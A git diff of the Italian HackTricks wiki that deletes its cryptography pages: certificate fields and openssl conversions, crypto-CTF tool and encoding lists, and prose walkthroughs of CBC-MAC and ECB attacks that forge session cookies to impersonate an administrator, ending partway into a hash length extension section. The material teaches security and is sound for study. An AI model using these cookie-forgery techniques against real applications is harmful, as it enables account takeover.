-Tiny Encryption Algorithm).\ -Nota anche la **dimensione del ciclo** (**132**) e il **numero di operazioni XOR** nelle **istruzioni di disassemblaggio** e nell'**esempio di codice**: +Nota anche la **dimensione del loop** (**132**) e il **numero di operazioni XOR** nelle **istruzioni di disassemblaggio** e nell'**esempio di codice**: ![](<../../images/image (547).png>) @@ -136,7 +134,7 @@ Pertanto, è possibile identificare questo algoritmo controllando il **numero ma - 3 funzioni: Init, Update, Final - Funzioni di inizializzazione simili -### Identificazione +### Identificare **Init** @@ -155,9 +153,9 @@ Nota l'uso di più costanti - Più piccolo e più efficiente poiché la sua funzione è trovare cambiamenti accidentali nei dati - Usa tabelle di ricerca (quindi puoi identificare costanti) -### Identificazione +### Identificare -Controlla **costanti della tabella di ricerca**: +Controlla **le costanti della tabella di ricerca**: ![](<../../images/image (508).png>) @@ -172,7 +170,7 @@ Un algoritmo hash CRC appare come: - Costanti non riconoscibili - Puoi provare a scrivere l'algoritmo in python e cercare cose simili online -### Identificazione +### Identificare Il grafico è piuttosto grande: diff --git a/src/cryptography/certificates.md b/src/cryptography/certificates.md deleted file mode 100644 index a948a35fb..000000000 --- a/src/cryptography/certificates.md +++ /dev/null @@ -1,157 +0,0 @@ -# Certificati - -{{#include ../banners/hacktricks-training.md}} - -## Cos'è un Certificato - -Un **certificato di chiave pubblica** è un ID digitale utilizzato nella crittografia per dimostrare che qualcuno possiede una chiave pubblica. Include i dettagli della chiave, l'identità del proprietario (il soggetto) e una firma digitale da un'autorità fidata (l'emittente). Se il software si fida dell'emittente e la firma è valida, è possibile una comunicazione sicura con il proprietario della chiave. - -I certificati sono principalmente emessi da [certificate authorities](https://en.wikipedia.org/wiki/Certificate_authority) (CAs) in un [public-key infrastructure](https://en.wikipedia.org/wiki/Public-key_infrastructure) (PKI). Un altro metodo è il [web of trust](https://en.wikipedia.org/wiki/Web_of_trust), dove gli utenti verificano direttamente le chiavi degli altri. Il formato comune per i certificati è [X.509](https://en.wikipedia.org/wiki/X.509), che può essere adattato per esigenze specifiche come delineato in RFC 5280. - -## Campi Comuni x509 - -### **Campi Comuni nei Certificati x509** - -Nei certificati x509, diversi **campi** svolgono ruoli critici nel garantire la validità e la sicurezza del certificato. Ecco una suddivisione di questi campi: - -- **Numero di Versione** indica la versione del formato x509. -- **Numero di Serie** identifica univocamente il certificato all'interno del sistema di un'Autorità di Certificazione (CA), principalmente per il tracciamento delle revoche. -- Il campo **Soggetto** rappresenta il proprietario del certificato, che potrebbe essere una macchina, un individuo o un'organizzazione. Include identificazione dettagliata come: -- **Nome Comune (CN)**: Domini coperti dal certificato. -- **Paese (C)**, **Località (L)**, **Stato o Provincia (ST, S, o P)**, **Organizzazione (O)** e **Unità Organizzativa (OU)** forniscono dettagli geografici e organizzativi. -- **Nome Distinto (DN)** racchiude l'intera identificazione del soggetto. -- **Emittente** dettaglia chi ha verificato e firmato il certificato, includendo sottocampi simili a quelli del Soggetto per la CA. -- Il **Periodo di Validità** è contrassegnato dai timestamp **Non Prima** e **Non Dopo**, assicurando che il certificato non venga utilizzato prima o dopo una certa data. -- La sezione **Chiave Pubblica**, cruciale per la sicurezza del certificato, specifica l'algoritmo, la dimensione e altri dettagli tecnici della chiave pubblica. -- Le **estensioni x509v3** migliorano la funzionalità del certificato, specificando **Utilizzo della Chiave**, **Utilizzo Esteso della Chiave**, **Nome Alternativo del Soggetto** e altre proprietà per affinare l'applicazione del certificato. - -#### **Utilizzo della Chiave e Estensioni** - -- **Utilizzo della Chiave** identifica le applicazioni crittografiche della chiave pubblica, come la firma digitale o la cifratura della chiave. -- **Utilizzo Esteso della Chiave** restringe ulteriormente i casi d'uso del certificato, ad esempio, per l'autenticazione del server TLS. -- **Nome Alternativo del Soggetto** e **Vincolo di Base** definiscono nomi host aggiuntivi coperti dal certificato e se si tratta di un certificato CA o di entità finali, rispettivamente. -- Identificatori come **Identificatore della Chiave del Soggetto** e **Identificatore della Chiave dell'Autorità** garantiscono l'unicità e la tracciabilità delle chiavi. -- **Accesso alle Informazioni dell'Autorità** e **Punti di Distribuzione CRL** forniscono percorsi per verificare la CA emittente e controllare lo stato di revoca del certificato. -- **SCTs Precertificate CT** offrono registri di trasparenza, cruciali per la fiducia pubblica nel certificato. -```python -# Example of accessing and using x509 certificate fields programmatically: -from cryptography import x509 -from cryptography.hazmat.backends import default_backend - -# Load an x509 certificate (assuming cert.pem is a certificate file) -with open("cert.pem", "rb") as file: -cert_data = file.read() -certificate = x509.load_pem_x509_certificate(cert_data, default_backend()) - -# Accessing fields -serial_number = certificate.serial_number -issuer = certificate.issuer -subject = certificate.subject -public_key = certificate.public_key() - -print(f"Serial Number: {serial_number}") -print(f"Issuer: {issuer}") -print(f"Subject: {subject}") -print(f"Public Key: {public_key}") -``` -### **Differenza tra OCSP e Punti di Distribuzione CRL** - -**OCSP** (**RFC 2560**) coinvolge un client e un risponditore che lavorano insieme per controllare se un certificato pubblico digitale è stato revocato, senza la necessità di scaricare l'intera **CRL**. Questo metodo è più efficiente rispetto alla tradizionale **CRL**, che fornisce un elenco di numeri di serie di certificati revocati ma richiede il download di un file potenzialmente grande. Le CRL possono includere fino a 512 voci. Maggiori dettagli sono disponibili [qui](https://www.arubanetworks.com/techdocs/ArubaOS%206_3_1_Web_Help/Content/ArubaFrameStyles/CertRevocation/About_OCSP_and_CRL.htm). - -### **Cos'è la Trasparenza dei Certificati** - -La Trasparenza dei Certificati aiuta a combattere le minacce legate ai certificati garantendo che l'emissione e l'esistenza dei certificati SSL siano visibili ai proprietari di domini, CA e utenti. I suoi obiettivi sono: - -- Prevenire che le CA emettano certificati SSL per un dominio senza la conoscenza del proprietario del dominio. -- Stabilire un sistema di auditing aperto per tracciare certificati emessi erroneamente o in modo malevolo. -- Proteggere gli utenti da certificati fraudolenti. - -#### **Log dei Certificati** - -I log dei certificati sono registri pubblicamente auditabili, solo in append, di certificati, mantenuti dai servizi di rete. Questi log forniscono prove crittografiche per scopi di auditing. Sia le autorità di emissione che il pubblico possono inviare certificati a questi log o interrogarli per verifica. Sebbene il numero esatto di server di log non sia fisso, si prevede che sia inferiore a mille a livello globale. Questi server possono essere gestiti in modo indipendente da CA, ISP o qualsiasi entità interessata. - -#### **Query** - -Per esplorare i log della Trasparenza dei Certificati per qualsiasi dominio, visita [https://crt.sh/](https://crt.sh). - -Esistono diversi formati per memorizzare i certificati, ognuno con i propri casi d'uso e compatibilità. Questo riepilogo copre i formati principali e fornisce indicazioni sulla conversione tra di essi. - -## **Formati** - -### **Formato PEM** - -- Formato più ampiamente utilizzato per i certificati. -- Richiede file separati per certificati e chiavi private, codificati in Base64 ASCII. -- Estensioni comuni: .cer, .crt, .pem, .key. -- Utilizzato principalmente da Apache e server simili. - -### **Formato DER** - -- Un formato binario di certificati. -- Mancano le dichiarazioni "BEGIN/END CERTIFICATE" presenti nei file PEM. -- Estensioni comuni: .cer, .der. -- Spesso utilizzato con piattaforme Java. - -### **Formato P7B/PKCS#7** - -- Memorizzato in Base64 ASCII, con estensioni .p7b o .p7c. -- Contiene solo certificati e certificati di catena, escludendo la chiave privata. -- Supportato da Microsoft Windows e Java Tomcat. - -### **Formato PFX/P12/PKCS#12** - -- Un formato binario che racchiude certificati server, certificati intermedi e chiavi private in un unico file. -- Estensioni: .pfx, .p12. -- Utilizzato principalmente su Windows per l'importazione e l'esportazione di certificati. - -### **Conversione dei Formati** - -**Le conversioni PEM** sono essenziali per la compatibilità: - -- **x509 a PEM** -```bash -openssl x509 -in certificatename.cer -outform PEM -out certificatename.pem -``` -- **PEM a DER** -```bash -openssl x509 -outform der -in certificatename.pem -out certificatename.der -``` -- **DER a PEM** -```bash -openssl x509 -inform der -in certificatename.der -out certificatename.pem -``` -- **PEM a P7B** -```bash -openssl crl2pkcs7 -nocrl -certfile certificatename.pem -out certificatename.p7b -certfile CACert.cer -``` -- **PKCS7 a PEM** -```bash -openssl pkcs7 -print_certs -in certificatename.p7b -out certificatename.pem -``` -**Le conversioni PFX** sono fondamentali per la gestione dei certificati su Windows: - -- **PFX a PEM** -```bash -openssl pkcs12 -in certificatename.pfx -out certificatename.pem -``` -- **PFX a PKCS#8** comporta due passaggi: -1. Convertire PFX in PEM -```bash -openssl pkcs12 -in certificatename.pfx -nocerts -nodes -out certificatename.pem -``` -2. Convertire PEM in PKCS8 -```bash -openSSL pkcs8 -in certificatename.pem -topk8 -nocrypt -out certificatename.pk8 -``` -- **P7B a PFX** richiede anche due comandi: -1. Convertire P7B in CER -```bash -openssl pkcs7 -print_certs -in certificatename.p7b -out certificatename.cer -``` -2. Convertire CER e chiave privata in PFX -```bash -openssl pkcs12 -export -in certificatename.cer -inkey privateKey.key -out certificatename.pfx -certfile cacert.cer -``` ---- - -{{#include ../banners/hacktricks-training.md}} diff --git a/src/cryptography/cipher-block-chaining-cbc-mac-priv.md b/src/cryptography/cipher-block-chaining-cbc-mac-priv.md deleted file mode 100644 index f5dfcbaee..000000000 --- a/src/cryptography/cipher-block-chaining-cbc-mac-priv.md +++ /dev/null @@ -1,55 +0,0 @@ -{{#include ../banners/hacktricks-training.md}} - -# CBC - -Se il **cookie** è **solo** il **nome utente** (o la prima parte del cookie è il nome utente) e vuoi impersonare il nome utente "**admin**". Allora, puoi creare il nome utente **"bdmin"** e **bruteforce** il **primo byte** del cookie. - -# CBC-MAC - -**Cipher block chaining message authentication code** (**CBC-MAC**) è un metodo utilizzato nella crittografia. Funziona prendendo un messaggio e crittografandolo blocco per blocco, dove la crittografia di ogni blocco è collegata a quella precedente. Questo processo crea una **catena di blocchi**, assicurando che cambiare anche un solo bit del messaggio originale porterà a un cambiamento imprevedibile nell'ultimo blocco di dati crittografati. Per effettuare o invertire tale cambiamento, è necessaria la chiave di crittografia, garantendo la sicurezza. - -Per calcolare il CBC-MAC del messaggio m, si crittografa m in modalità CBC con un vettore di inizializzazione zero e si conserva l'ultimo blocco. La figura seguente schizza il calcolo del CBC-MAC di un messaggio composto da blocchi![https://wikimedia.org/api/rest_v1/media/math/render/svg/bbafe7330a5e40a04f01cc776c9d94fe914b17f5](https://wikimedia.org/api/rest_v1/media/math/render/svg/bbafe7330a5e40a04f01cc776c9d94fe914b17f5) utilizzando una chiave segreta k e un cifrario a blocchi E: - -![https://upload.wikimedia.org/wikipedia/commons/thumb/b/bf/CBC-MAC_structure_(en).svg/570px-CBC-MAC_structure_(en).svg.png]() - -# Vulnerabilità - -Con CBC-MAC di solito il **IV utilizzato è 0**.\ -Questo è un problema perché 2 messaggi noti (`m1` e `m2`) genereranno indipendentemente 2 firme (`s1` e `s2`). Quindi: - -- `E(m1 XOR 0) = s1` -- `E(m2 XOR 0) = s2` - -Poi un messaggio composto da m1 e m2 concatenati (m3) genererà 2 firme (s31 e s32): - -- `E(m1 XOR 0) = s31 = s1` -- `E(m2 XOR s1) = s32` - -**Il che è possibile calcolare senza conoscere la chiave della crittografia.** - -Immagina di crittografare il nome **Administrator** in blocchi di **8byte**: - -- `Administ` -- `rator\00\00\00` - -Puoi creare un nome utente chiamato **Administ** (m1) e recuperare la firma (s1).\ -Poi, puoi creare un nome utente chiamato il risultato di `rator\00\00\00 XOR s1`. Questo genererà `E(m2 XOR s1 XOR 0)` che è s32.\ -Ora, puoi usare s32 come la firma del nome completo **Administrator**. - -### Riepilogo - -1. Ottieni la firma del nome utente **Administ** (m1) che è s1 -2. Ottieni la firma del nome utente **rator\x00\x00\x00 XOR s1 XOR 0** che è s32**.** -3. Imposta il cookie su s32 e sarà un cookie valido per l'utente **Administrator**. - -# Attacco Controllando IV - -Se puoi controllare l'IV utilizzato, l'attacco potrebbe essere molto facile.\ -Se i cookie sono solo il nome utente crittografato, per impersonare l'utente "**administrator**" puoi creare l'utente "**Administrator**" e otterrai il suo cookie.\ -Ora, se puoi controllare l'IV, puoi cambiare il primo byte dell'IV in modo che **IV\[0] XOR "A" == IV'\[0] XOR "a"** e rigenerare il cookie per l'utente **Administrator.** Questo cookie sarà valido per **impersonare** l'utente **administrator** con l'**IV** iniziale. - -## Riferimenti - -Maggiore informazione in [https://en.wikipedia.org/wiki/CBC-MAC](https://en.wikipedia.org/wiki/CBC-MAC) - -{{#include ../banners/hacktricks-training.md}} diff --git a/src/cryptography/crypto-ctfs-tricks.md b/src/cryptography/crypto-ctfs-tricks.md deleted file mode 100644 index 521b45457..000000000 --- a/src/cryptography/crypto-ctfs-tricks.md +++ /dev/null @@ -1,271 +0,0 @@ -# Crypto CTFs Tricks - -{{#include ../banners/hacktricks-training.md}} - -## Online Hashes DBs - -- _**Cercalo su Google**_ -- [http://hashtoolkit.com/reverse-hash?hash=4d186321c1a7f0f354b297e8914ab240](http://hashtoolkit.com/reverse-hash?hash=4d186321c1a7f0f354b297e8914ab240) -- [https://www.onlinehashcrack.com/](https://www.onlinehashcrack.com) -- [https://crackstation.net/](https://crackstation.net) -- [https://md5decrypt.net/](https://md5decrypt.net) -- [https://www.onlinehashcrack.com](https://www.onlinehashcrack.com) -- [https://gpuhash.me/](https://gpuhash.me) -- [https://hashes.org/search.php](https://hashes.org/search.php) -- [https://www.cmd5.org/](https://www.cmd5.org) -- [https://hashkiller.co.uk/Cracker/MD5](https://hashkiller.co.uk/Cracker/MD5) -- [https://www.md5online.org/md5-decrypt.html](https://www.md5online.org/md5-decrypt.html) - -## Magic Autosolvers - -- [**https://github.com/Ciphey/Ciphey**](https://github.com/Ciphey/Ciphey) -- [https://gchq.github.io/CyberChef/](https://gchq.github.io/CyberChef/) (Modulo Magico) -- [https://github.com/dhondta/python-codext](https://github.com/dhondta/python-codext) -- [https://www.boxentriq.com/code-breaking](https://www.boxentriq.com/code-breaking) - -## Encoders - -La maggior parte dei dati codificati può essere decodificata con queste 2 risorse: - -- [https://www.dcode.fr/tools-list](https://www.dcode.fr/tools-list) -- [https://gchq.github.io/CyberChef/](https://gchq.github.io/CyberChef/) - -### Substitution Autosolvers - -- [https://www.boxentriq.com/code-breaking/cryptogram](https://www.boxentriq.com/code-breaking/cryptogram) -- [https://quipqiup.com/](https://quipqiup.com) - Molto buono! - -#### Caesar - ROTx Autosolvers - -- [https://www.nayuki.io/page/automatic-caesar-cipher-breaker-javascript](https://www.nayuki.io/page/automatic-caesar-cipher-breaker-javascript) - -#### Atbash Cipher - -- [http://rumkin.com/tools/cipher/atbash.php](http://rumkin.com/tools/cipher/atbash.php) - -### Base Encodings Autosolver - -Controlla tutte queste basi con: [https://github.com/dhondta/python-codext](https://github.com/dhondta/python-codext) - -- **Ascii85** -- `BQ%]q@psCd@rH0l` -- **Base26** \[_A-Z_] -- `BQEKGAHRJKHQMVZGKUXNT` -- **Base32** \[_A-Z2-7=_] -- `NBXWYYLDMFZGCY3PNRQQ====` -- **Zbase32** \[_ybndrfg8ejkmcpqxot1uwisza345h769_] -- `pbzsaamdcf3gna5xptoo====` -- **Base32 Geohash** \[_0-9b-hjkmnp-z_] -- `e1rqssc3d5t62svgejhh====` -- **Base32 Crockford** \[_0-9A-HJKMNP-TV-Z_] -- `D1QPRRB3C5S62RVFDHGG====` -- **Base32 Extended Hexadecimal** \[_0-9A-V_] -- `D1NMOOB3C5P62ORFDHGG====` -- **Base45** \[_0-9A-Z $%\*+-./:_] -- `59DPVDGPCVKEUPCPVD` -- **Base58 (bitcoin)** \[_1-9A-HJ-NP-Za-km-z_] -- `2yJiRg5BF9gmsU6AC` -- **Base58 (flickr)** \[_1-9a-km-zA-HJ-NP-Z_] -- `2YiHqF5bf9FLSt6ac` -- **Base58 (ripple)** \[_rpshnaf39wBUDNEGHJKLM4PQ-T7V-Z2b-eCg65jkm8oFqi1tuvAxyz_] -- `pyJ5RgnBE9gm17awU` -- **Base62** \[_0-9A-Za-z_] -- `g2AextRZpBKRBzQ9` -- **Base64** \[_A-Za-z0-9+/=_] -- `aG9sYWNhcmFjb2xh` -- **Base67** \[_A-Za-z0-9-_.!\~\_] -- `NI9JKX0cSUdqhr!p` -- **Base85 (Ascii85)** \[_!"#$%&'()\*+,-./0-9:;<=>?@A-Z\[\\]^\_\`a-u_] -- `BQ%]q@psCd@rH0l` -- **Base85 (Adobe)** \[_!"#$%&'()\*+,-./0-9:;<=>?@A-Z\[\\]^\_\`a-u_] -- `<~BQ%]q@psCd@rH0l~>` -- **Base85 (IPv6 or RFC1924)** \[_0-9A-Za-z!#$%&()\*+-;<=>?@^_\`{|}\~\_] -- `Xm4y`V\_|Y(V{dF>\` -- **Base85 (xbtoa)** \[_!"#$%&'()\*+,-./0-9:;<=>?@A-Z\[\\]^\_\`a-u_] -- `xbtoa Begin\nBQ%]q@psCd@rH0l\nxbtoa End N 12 c E 1a S 4e6 R 6991d` -- **Base85 (XML)** \[\_0-9A-Za-y!#$()\*+,-./:;=?@^\`{|}\~z\_\_] -- `Xm4y|V{~Y+V}dF?` -- **Base91** \[_A-Za-z0-9!#$%&()\*+,./:;<=>?@\[]^\_\`{|}\~"_] -- `frDg[*jNN!7&BQM` -- **Base100** \[] -- `👟👦👣👘👚👘👩👘👚👦👣👘` -- **Base122** \[] -- `4F ˂r0Xmvc` -- **ATOM-128** \[_/128GhIoPQROSTeUbADfgHijKLM+n0pFWXY456xyzB7=39VaqrstJklmNuZvwcdEC_] -- `MIc3KiXa+Ihz+lrXMIc3KbCC` -- **HAZZ15** \[_HNO4klm6ij9n+J2hyf0gzA8uvwDEq3X1Q7ZKeFrWcVTts/MRGYbdxSo=ILaUpPBC5_] -- `DmPsv8J7qrlKEoY7` -- **MEGAN35** \[_3G-Ub=c-pW-Z/12+406-9Vaq-zA-F5_] -- `kLD8iwKsigSalLJ5` -- **ZONG22** \[_ZKj9n+yf0wDVX1s/5YbdxSo=ILaUpPBCHg8uvNO4klm6iJGhQ7eFrWczAMEq3RTt2_] -- `ayRiIo1gpO+uUc7g` -- **ESAB46** \[] -- `3sHcL2NR8WrT7mhR` -- **MEGAN45** \[] -- `kLD8igSXm2KZlwrX` -- **TIGO3FX** \[] -- `7AP9mIzdmltYmIP9mWXX` -- **TRIPO5** \[] -- `UE9vSbnBW6psVzxB` -- **FERON74** \[] -- `PbGkNudxCzaKBm0x` -- **GILA7** \[] -- `D+nkv8C1qIKMErY1` -- **Citrix CTX1** \[] -- `MNGIKCAHMOGLKPAKMMGJKNAINPHKLOBLNNHILCBHNOHLLPBK` - -[http://k4.cba.pl/dw/crypo/tools/eng_atom128c.html](http://k4.cba.pl/dw/crypo/tools/eng_atom128c.html) - 404 Dead: [https://web.archive.org/web/20190228181208/http://k4.cba.pl/dw/crypo/tools/eng_hackerize.html](https://web.archive.org/web/20190228181208/http://k4.cba.pl/dw/crypo/tools/eng_hackerize.html) - -### HackerizeXS \[_╫Λ↻├☰┏_] -``` -╫☐↑Λ↻Λ┏Λ↻☐↑Λ -``` -- [http://k4.cba.pl/dw/crypo/tools/eng_hackerize.html](http://k4.cba.pl/dw/crypo/tools/eng_hackerize.html) - 404 Morto: [https://web.archive.org/web/20190228181208/http://k4.cba.pl/dw/crypo/tools/eng_hackerize.html](https://web.archive.org/web/20190228181208/http://k4.cba.pl/dw/crypo/tools/eng_hackerize.html) - -### Morse -``` -.... --- .-.. -.-. .- .-. .- -.-. --- .-.. .- -``` -- [http://k4.cba.pl/dw/crypo/tools/eng_morse-encode.html](http://k4.cba.pl/dw/crypo/tools/eng_morse-encode.html) - 404 Morto: [https://gchq.github.io/CyberChef/](https://gchq.github.io/CyberChef/) - -### UUencoder -``` -begin 644 webutils_pl -M2$],04A/3$%(3TQ!2$],04A/3$%(3TQ!2$],04A/3$%(3TQ!2$],04A/3$%( -M3TQ!2$],04A/3$%(3TQ!2$],04A/3$%(3TQ!2$],04A/3$%(3TQ!2$],04A/ -F3$%(3TQ!2$],04A/3$%(3TQ!2$],04A/3$%(3TQ!2$],04A/3$$` -` -end -``` -- [http://www.webutils.pl/index.php?idx=uu](http://www.webutils.pl/index.php?idx=uu) - -### XXEncoder -``` -begin 644 webutils_pl -hG2xAEIVDH236Hol-G2xAEIVDH236Hol-G2xAEIVDH236Hol-G2xAEIVDH236 -5Hol-G2xAEE++ -end -``` -- [www.webutils.pl/index.php?idx=xx](https://github.com/carlospolop/hacktricks/tree/bf578e4c5a955b4f6cdbe67eb4a543e16a3f848d/crypto/www.webutils.pl/index.php?idx=xx) - -### YEncoder -``` -=ybegin line=128 size=28 name=webutils_pl -ryvkryvkryvkryvkryvkryvkryvk -=yend size=28 crc32=35834c86 -``` -- [http://www.webutils.pl/index.php?idx=yenc](http://www.webutils.pl/index.php?idx=yenc) - -### BinHex -``` -(This file must be converted with BinHex 4.0) -:#hGPBR9dD@acAh"X!$mr2cmr2cmr!!!!!!!8!!!!!-ka5%p-38K26%&)6da"5%p --38K26%'d9J!!: -``` -- [http://www.webutils.pl/index.php?idx=binhex](http://www.webutils.pl/index.php?idx=binhex) - -### ASCII85 -``` -<~85DoF85DoF85DoF85DoF85DoF85DoF~> -``` -- [http://www.webutils.pl/index.php?idx=ascii85](http://www.webutils.pl/index.php?idx=ascii85) - -### Tastiera Dvorak -``` -drnajapajrna -``` -- [https://www.geocachingtoolbox.com/index.php?lang=en\&page=dvorakKeyboard](https://www.geocachingtoolbox.com/index.php?lang=en&page=dvorakKeyboard) - -### A1Z26 - -Lettere al loro valore numerico -``` -8 15 12 1 3 1 18 1 3 15 12 1 -``` -### Affine Cipher Encode - -Lettera a numero `(ax+b)%26` (_a_ e _b_ sono le chiavi e _x_ è la lettera) e il risultato di nuovo in lettera -``` -krodfdudfrod -``` -### SMS Code - -**Multitap** [sostituisce una lettera](https://www.dcode.fr/word-letter-change) con cifre ripetute definite dal corrispondente codice del tasto su una [tastiera del telefono](https://www.dcode.fr/phone-keypad-cipher) (Questo modo è usato quando si scrivono SMS).\ -Ad esempio: 2=A, 22=B, 222=C, 3=D...\ -Puoi identificare questo codice perché vedrai** diversi numeri ripetuti**. - -Puoi decodificare questo codice in: [https://www.dcode.fr/multitap-abc-cipher](https://www.dcode.fr/multitap-abc-cipher) - -### Bacon Code - -Sostituisci ogni lettera con 4 A o B (o 1 e 0) -``` -00111 01101 01010 00000 00010 00000 10000 00000 00010 01101 01010 00000 -AABBB ABBAB ABABA AAAAA AAABA AAAAA BAAAA AAAAA AAABA ABBAB ABABA AAAAA -``` -### Runes - -![](../images/runes.jpg) - -## Compression - -**Raw Deflate** e **Raw Inflate** (puoi trovarli entrambi in Cyberchef) possono comprimere e decomprimere dati senza intestazioni. - -## Easy Crypto - -### XOR - Autosolver - -- [https://wiremask.eu/tools/xor-cracker/](https://wiremask.eu/tools/xor-cracker/) - -### Bifid - -È necessaria una parola chiave. -``` -fgaargaamnlunesuneoa -``` -### Vigenere - -È necessaria una parola chiave -``` -wodsyoidrods -``` -- [https://www.guballa.de/vigenere-solver](https://www.guballa.de/vigenere-solver) -- [https://www.dcode.fr/vigenere-cipher](https://www.dcode.fr/vigenere-cipher) -- [https://www.mygeocachingprofile.com/codebreaker.vigenerecipher.aspx](https://www.mygeocachingprofile.com/codebreaker.vigenerecipher.aspx) - -## Crypto Forte - -### Fernet - -2 stringhe base64 (token e chiave) -``` -Token: -gAAAAABWC9P7-9RsxTz_dwxh9-O2VUB7Ih8UCQL1_Zk4suxnkCvb26Ie4i8HSUJ4caHZuiNtjLl3qfmCv_fS3_VpjL7HxCz7_Q== - -Key: --s6eI5hyNh8liH7Gq0urPC-vzPgNnxauKvRO4g03oYI= -``` -- [https://asecuritysite.com/encryption/ferdecode](https://asecuritysite.com/encryption/ferdecode) - -### Condivisione Segreta di Samir - -Un segreto è suddiviso in X parti e per recuperarlo hai bisogno di Y parti (_Y <=X_). -``` -8019f8fa5879aa3e07858d08308dc1a8b45 -80223035713295bddf0b0bd1b10a5340b89 -803bc8cf294b3f83d88e86d9818792e80cd -``` -[http://christian.gen.co/secrets/](http://christian.gen.co/secrets/) - -### Brute-force OpenSSL - -- [https://github.com/glv2/bruteforce-salted-openssl](https://github.com/glv2/bruteforce-salted-openssl) -- [https://github.com/carlospolop/easy_BFopensslCTF](https://github.com/carlospolop/easy_BFopensslCTF) - -## Strumenti - -- [https://github.com/Ganapati/RsaCtfTool](https://github.com/Ganapati/RsaCtfTool) -- [https://github.com/lockedbyte/cryptovenom](https://github.com/lockedbyte/cryptovenom) -- [https://github.com/nccgroup/featherduster](https://github.com/nccgroup/featherduster) - -{{#include ../banners/hacktricks-training.md}} diff --git a/src/cryptography/electronic-code-book-ecb.md b/src/cryptography/electronic-code-book-ecb.md deleted file mode 100644 index 58953d5c8..000000000 --- a/src/cryptography/electronic-code-book-ecb.md +++ /dev/null @@ -1,68 +0,0 @@ -{{#include ../banners/hacktricks-training.md}} - -# ECB - -(ECB) Electronic Code Book - schema di crittografia simmetrica che **sostituisce ogni blocco del testo in chiaro** con il **blocco di testo cifrato**. È il **schema di crittografia più semplice**. L'idea principale è di **dividere** il testo in chiaro in **blocchi di N bit** (dipende dalla dimensione del blocco di dati in input, algoritmo di crittografia) e poi crittografare (decrittografare) ogni blocco di testo in chiaro utilizzando l'unica chiave. - -![](https://upload.wikimedia.org/wikipedia/commons/thumb/e/e6/ECB_decryption.svg/601px-ECB_decryption.svg.png) - -L'uso di ECB ha molteplici implicazioni di sicurezza: - -- **I blocchi del messaggio crittografato possono essere rimossi** -- **I blocchi del messaggio crittografato possono essere spostati** - -# Rilevamento della vulnerabilità - -Immagina di accedere a un'applicazione più volte e di **ricevere sempre lo stesso cookie**. Questo perché il cookie dell'applicazione è **`|`**.\ -Poi, generi due nuovi utenti, entrambi con la **stessa lunga password** e **quasi** lo **stesso** **username**.\ -Scopri che i **blocchi di 8B** dove le **info di entrambi gli utenti** sono le stesse sono **uguali**. Poi, immagini che questo potrebbe essere dovuto al fatto che **si sta utilizzando ECB**. - -Come nel seguente esempio. Osserva come questi **2 cookie decodificati** hanno più volte il blocco **`\x23U\xE45K\xCB\x21\xC8`**. -``` -\x23U\xE45K\xCB\x21\xC8\x23U\xE45K\xCB\x21\xC8\x04\xB6\xE1H\xD1\x1E \xB6\x23U\xE45K\xCB\x21\xC8\x23U\xE45K\xCB\x21\xC8+=\xD4F\xF7\x99\xD9\xA9 - -\x23U\xE45K\xCB\x21\xC8\x23U\xE45K\xCB\x21\xC8\x04\xB6\xE1H\xD1\x1E \xB6\x23U\xE45K\xCB\x21\xC8\x23U\xE45K\xCB\x21\xC8+=\xD4F\xF7\x99\xD9\xA9 -``` -Questo è perché il **nome utente e la password di quei cookie contenevano diverse volte la lettera "a"** (per esempio). I **blocchi** che sono **diversi** sono blocchi che contenevano **almeno 1 carattere diverso** (forse il delimitatore "|" o qualche differenza necessaria nel nome utente). - -Ora, l'attaccante deve solo scoprire se il formato è `` o ``. Per farlo, può semplicemente **generare diversi nomi utente** con **nomi utente e password simili e lunghi fino a trovare il formato e la lunghezza del delimitatore:** - -| Lunghezza nome utente: | Lunghezza password: | Lunghezza Nome Utente+Password: | Lunghezza cookie (dopo decodifica): | -| ---------------------- | ------------------- | ------------------------------- | ----------------------------------- | -| 2 | 2 | 4 | 8 | -| 3 | 3 | 6 | 8 | -| 3 | 4 | 7 | 8 | -| 4 | 4 | 8 | 16 | -| 7 | 7 | 14 | 16 | - -# Sfruttamento della vulnerabilità - -## Rimozione di interi blocchi - -Conoscendo il formato del cookie (`|`), per impersonare il nome utente `admin`, crea un nuovo utente chiamato `aaaaaaaaadmin` e ottieni il cookie e decodificalo: -``` -\x23U\xE45K\xCB\x21\xC8\xE0Vd8oE\x123\aO\x43T\x32\xD5U\xD4 -``` -Possiamo vedere il modello `\x23U\xE45K\xCB\x21\xC8` creato in precedenza con il nome utente che conteneva solo `a`.\ -Poi, puoi rimuovere il primo blocco di 8B e otterrai un cookie valido per il nome utente `admin`: -``` -\xE0Vd8oE\x123\aO\x43T\x32\xD5U\xD4 -``` -## Spostare blocchi - -In molti database è lo stesso cercare `WHERE username='admin';` o `WHERE username='admin ';` _(Nota gli spazi extra)_ - -Quindi, un altro modo per impersonare l'utente `admin` sarebbe: - -- Generare un nome utente che: `len() + len(` genererà 2 blocchi di 8Bs. -- Poi, generare una password che riempirà un numero esatto di blocchi contenenti il nome utente che vogliamo impersonare e spazi, come: `admin ` - -Il cookie di questo utente sarà composto da 3 blocchi: i primi 2 sono i blocchi del nome utente + delimitatore e il terzo è della password (che sta fingendo il nome utente): `username |admin ` - -**Poi, basta sostituire il primo blocco con l'ultimo e si impersonerà l'utente `admin`: `admin |username`** - -## Riferimenti - -- [http://cryptowiki.net/index.php?title=Electronic_Code_Book\_(ECB)]() - -{{#include ../banners/hacktricks-training.md}} diff --git a/src/cryptography/hash-length-extension-attack.md b/src/cryptography/hash-length-extension-attack.md deleted file mode 100644 index c0cf2004a..000000000 --- a/src/cryptography/hash-length-extension-attack.md +++ /dev/null @@ -1,38 +0,0 @@ -{{#include ../banners/hacktricks-training.md}} - -# Riepilogo dell'attacco - -Immagina un server che **firma** alcuni **dati** **aggiungendo** un **segreto** a dei dati di testo chiaro noti e poi hashando quei dati. Se conosci: - -- **La lunghezza del segreto** (questo può anche essere forzato a bruteforce da un dato intervallo di lunghezza) -- **I dati di testo chiaro** -- **L'algoritmo (e è vulnerabile a questo attacco)** -- **Il padding è noto** -- Di solito viene utilizzato uno predefinito, quindi se gli altri 3 requisiti sono soddisfatti, anche questo lo è -- Il padding varia a seconda della lunghezza del segreto + dati, ecco perché è necessaria la lunghezza del segreto - -Allora, è possibile per un **attaccante** **aggiungere** **dati** e **generare** una **firma** valida per i **dati precedenti + dati aggiunti**. - -## Come? - -Fondamentalmente, gli algoritmi vulnerabili generano gli hash prima **hashando un blocco di dati**, e poi, **dallo** **hash** **precedentemente** creato (stato), **aggiungono il prossimo blocco di dati** e **lo hashano**. - -Poi, immagina che il segreto sia "secret" e i dati 